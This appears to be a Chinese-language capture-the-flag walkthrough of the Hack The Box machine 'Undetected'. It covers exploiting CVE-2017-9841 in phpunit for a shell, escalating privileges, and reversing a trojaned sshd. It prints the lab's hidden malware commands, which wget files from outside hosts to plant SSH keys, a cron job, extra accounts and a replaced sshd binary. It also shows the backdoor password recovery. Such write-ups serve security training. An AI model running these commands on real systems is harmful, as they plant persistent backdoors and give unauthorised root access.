IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Undetected -> 正文阅读

[PHP知识库]Undetected

信息收集

发现目标主机只开放了ssh和web服务
在这里插入图片描述
访问web页面时,并没有发现什么有价值的信息,但是点击VISIT STORE时跳转到域名store.djewelry.htb
在这里插入图片描述
添加到hosts文件中访问后,发现是这个页面。直觉告诉我目录扫描将会有新的发现
在这里插入图片描述
发现了一个vendor目录,访问后发现存在很多目录
在这里插入图片描述
在这里插入图片描述
其中,我发现了phpunit的版本为5.6
在这里插入图片描述

漏洞利用

在搜索引擎上,搜到了对应的漏洞编号为CVE-2017-9841,漏洞利用的路径是/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php。我们在这个路径下抓包,然后添加多一个phpinfo参数再放包,发现可以成功执行
在这里插入图片描述
那么我们来构造命令看看当前的用户权限是什么,发现是www-data用户
在这里插入图片描述
那么我们就可以构造一个payload,反弹一个shell到我们的本地终端上
在这里插入图片描述

权限提升

拿到data权限后,查看了passwd文件内容,发现存在两个用户,一个是stevensteven1
在这里插入图片描述

到这里我没思路了,上传一个linpeas.sh脚本看看有没有新的突破口吧。结果发现了一个可疑的目录/var/backups/info
在这里插入图片描述
进入到这个目录中后,发现info是一个二进制文件
在这里插入图片描述
因为strings程序无法使用,所以只能使用cat命令,我们在里面查看到一串类似16进制的字符串

776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b

在这里插入图片描述
我们进行解码,返回了如下内容,其中有一串类似哈希的字符串

$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/

在这里插入图片描述
我们拿去john进行爆破,发现密码是ihatehackers
在这里插入图片描述
这个密码可以成功登陆steven1账户
在这里插入图片描述

提权到ROOT

输入sudo -l,然后键入我们的登录密码发现不能登录成功
在这里插入图片描述
我们先上传一个linpeas.sh脚本,运行看看有什么新的收获。这里我们又发现了sudo的版本可能存在漏洞
在这里插入图片描述
但是再利用的时候发现,目标主机并没有make,而且我们也没有权限安装,所以这个点暂时不能利用成功
在这里插入图片描述
但是我们发现了另一个有趣的文件
在这里插入图片描述
我们查看了文件的大概内容,用翻译软件翻译了一下
在这里插入图片描述
大致内容是

我们最近更新了系统,但仍然遇到一些奇怪的行为与Apache服务。
在调查进行期间,我们暂时将网络商店和数据库转移到另一台服务器上。
如果出于任何原因,您需要访问数据库或web应用程序代码,请与Mark和他联系
将生成一个临时密码,以便您对临时服务器进行身份验证

从内容上看,我们大致知道要进行邮件伪造来获取这个临时密码了。我们可以先查看一下apache的目录,很幸运我们对这个目录有读写权限
在这里插入图片描述
因为文件太乱了,所以我们使用ls命令的--full-time参数,查看文件修改的具体时间,然后使用sort命令去重
在这里插入图片描述
发现了mod_reader.so文件的修改时间是最早的,那我们可以将这个文件下载下来看看

scp steven1@10.10.11.146:/usr/lib/apache2/modules/mod_reader.so ./

我们查看其内容是,发现了一段疑似base64加密的字符串内容

d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk

在这里插入图片描述
我们加密其内容,发现是一串命令,这个命令是下载image图片后,再通过sshd程序进行传输

wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

在这里插入图片描述
我们可以使用scp命令,将sshd这个程序下载下来,然后使用ghidra程序进行逆向分析。在auth_password函数中,我们可以了解到密码长度是31位的
在这里插入图片描述
这是C语言的伪代码

  backdoor._28_2_ = 0xa9f4;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;

我们重新编排一下顺序,从高到低进行排序

  backdoor[30] = -0x5b;
  backdoor._28_2_ = 0xa9f4;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor._12_4_ = 0xfdb3d6e7;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._0_4_ = 0xf0e7abd6;
  得到的值我们经过排序,得到如下结果
  0x5b
  0xa9f4
  0xbcf0b5e3
  0xb2d6f4a0fda0b3d6
  0xfdb3d6e7
  0xf7bbfdc8
  0xa4b3a3f3
  0xf0e7abd6

我们将上面的值先进行hex转化,在进行XOR转化,得到如下的字符串值,初步判断应该是backdoor的密码,但是我们尝试使用其登录root账户时失败了,这是转化地址https://gchq.github.io/CyberChef/#recipe=Swap_endianness(‘Hex’,31,true)From_Hex(‘Auto’)XOR(%7B’option’:‘Hex’,‘string’:‘96’%7D,‘Standard’,false)&input=MHg1YgoweGE5ZjQKMHhiY2YwYjVlMwoweGIyZDZmNGEwZmRhMGIzZDYKMHhmZGIzZDZlNwoweGY3YmJmZGM4CjB4YTRiM2EzZjMweGYwZTdhYmQ2
在这里插入图片描述
在这里插入图片描述
然后我再次右键查看0x5b这个值的时候,发现它的值应该为0xa5
在这里插入图片描述
修改值后,重新获取到一个新的字符串值
在这里插入图片描述
发现可以成功登陆了,并且是最高权限
在这里插入图片描述

总结

其实这台靶机前面拿取低权限时并不是特别困难,从www-data权限到steven权限都是较为简单的,但是要提权到root权限时,需要懂得逆向的知识,所以root权限拿取门槛较高。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 18:02:46  更:2022-03-30 18:02:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 22:47:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码